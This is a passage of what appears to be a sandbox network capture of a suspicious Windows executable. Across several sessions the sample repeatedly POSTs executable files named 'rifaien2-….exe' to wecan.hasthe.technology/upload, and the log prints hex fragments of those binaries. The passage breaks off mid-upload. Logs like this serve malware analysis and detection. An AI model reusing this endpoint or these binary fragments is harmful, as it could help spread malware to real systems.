Oct 10, 2024 21:02:18.802889109 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:18 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m6fOjd6om5UqzXK54NnTKa83mkOwOMihmxqjVtfZmgJwNmmuQas%2BZIh6OW%2Bk5ZUCvlN%2Fxg501I2jU0VN0lwRUTiSLIKGQdgrZu4htgd%2BTLxdg80XOldDZEYUMdchmRDTOiEM1kART7VnzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd2d5ab27ce4-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50400	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:19.014092922 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c3feb45c23b91389
Oct 10, 2024 21:02:19.459068060 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:19.460927010 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 33 66 65 62 34 35 63 32 33 62 39 31 33 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c3feb45c23b91389Content-Disposition: form-data; name="file[]"; filename="rifaien2-dOfNWxhGxDVM5njb.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:19.461225986 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:19.466365099 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:19.466412067 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:19.466609955 CEST	9888	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:19.466660976 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:19.471858025 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:19.472002029 CEST	9888	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:19.472141027 CEST	9888	OUT	Data Raw: 22 96 e1 08 f6 24 d2 2b 9a 9d 34 4f b6 07 68 97 0b 60 fe fe 80 b9 c5 ff ef 0e 66 00 74 06 b1 eb 06 80 7d b6 00 74 34 83 be 14 ef f8 0d 41 00 74 2b 8b 55 08 33 51 51 ff b4 aa a6 d8 f5 1a 52 dc d7 11 f2 45 6c 37 16 1b 67 c7 84 17 ff 00 eb 31 33 3c Data Ascii: "$+4Oh`ft}t4At+U3QQREl7g13<8u8##'8(0=t$`bRPhR0q/tf9pua~lt`'qrktgnBD"N1<{(hd[^IZlW$tQ,H
Oct 10, 2024 21:02:19.472275972 CEST	9888	OUT	Data Raw: b8 ff 00 79 c7 45 ec 08 ff 5f 9c 9c 9d fd a9 cc c7 45 a8 0d b4 06 b0 bc e4 88 9a 9c a4 1f a8 5d c5 c3 5a a0 e7 ad 46 25 15 1d a3 29 34 0f 3b a8 cb 8a e0 13 8b bf 25 39 8a a2 23 c4 eb 43 83 04 64 e2 08 25 bf 74 2c e8 bf a0 c5 aa 89 f3 0f b6 16 ab Data Ascii: yE_E]ZF%)4;%9#Cd%t,sT44o}E]PShE`RQdA:M}u;(5dB}w1zPP4UsuGt}Gul}1]&1S{s2$
Oct 10, 2024 21:02:19.800632000 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:19 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b41rLOutv%2FiGuZoIk56Jl64kSW2jfi84akhHGHnVgmYVMbVORm3kQSZLJE9S6r%2FSeD2V4zQ54ynONDUvVnAxOVpyadLXuBkqo7Nk6cmAHm3esBqxQ%2BOhwrg5EqDSYRdgkP%2B45kWmLL3wAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd33797442dc-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50406	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:19.931689024 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------45ac1e8b075f23ab
Oct 10, 2024 21:02:20.379201889 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:20.379996061 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 35 61 63 31 65 38 62 30 37 35 66 32 33 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------45ac1e8b075f23abContent-Disposition: form-data; name="file[]"; filename="rifaien2-6wusbbrgmMpcBTFV.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:20.380194902 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:20.385245085 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:20.385283947 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:20.385406017 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:20.385483980 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:20.385509968 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:20.385526896 CEST	3708	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:20.385543108 CEST	1236	OUT	Data Raw: 3c 00 75 0d 8b 43 20 17 74 82 be 7b b3 21 8b 43 30 8b 97 67 8e 4f e8 01 7c a2 8b 87 e0 3a 1d 04 b8 ff 89 97 44 86 00 00 89 87 40 05 35 74 20 ce fe 8e 0a 4c 89 47 04 89 38 eb 10 27 c7 ea ea 7f 24 73 89 7b 04 89 7b 08 89 5f 40 4d 01 df c1 5d b9 33 Data Ascii: <uC t{!C0gO\|:D@5t LG8'$s{{_@M]3{`CC N21.HeVS?@hj1X oC,C\| wh@hutP.CCV#580EQC05Ah.+74*6F/7tZ@5tCD
Oct 10, 2024 21:02:20.385556936 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:20.684902906 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:20 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:20 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rVWDPhNd2tjGKIbzf1vGxwufqGlI6stmCIHwxKnKQVZGMWbDf6jtNVQALbvWctiaLCHfuaPfuChQxtUrFXCQqIqxoNGxl4XU3MldiL%2BPV52i32TbUTnvpo8gzdO2%2BUhPXoo%2BJ672XQr28w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd393f3d0ca4-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50415	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:21.059488058 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------220a91bd4275ff8f
Oct 10, 2024 21:02:21.454813957 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:21.455627918 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 32 30 61 39 31 62 64 34 32 37 35 66 66 38 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------220a91bd4275ff8fContent-Disposition: form-data; name="file[]"; filename="rifaien2-96Wr0t4vpAyIwn2t.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:21.455952883 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:21.460983992 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:21.461011887 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:21.461133003 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:21.461163044 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:21.461245060 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:21.461442947 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:21.461462975 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:21.461554050 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:21.937613964 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:21 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:21 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CmgjYq8mHSr1QH2c%2BJ%2BpyBK88%2BjRsygFeWb15HoePnigmEpt7RlZ4AwDF6d7L4VyB4N%2BAGqCS%2FMEWvAwtW4cUg%2BedYb4npG2pi4JvDD87zrLPaV6snGLmDL7U1A29EKRzlpnIGx9mfjcdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd3fe8678c6c-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50420	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:22.088380098 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------10987f3dba7b8ba2
Oct 10, 2024 21:02:22.542592049 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:22.543454885 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 30 39 38 37 66 33 64 62 61 37 62 38 62 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------10987f3dba7b8ba2Content-Disposition: form-data; name="file[]"; filename="rifaien2-dIQ7PuzulNOWjRao.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:22.543654919 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
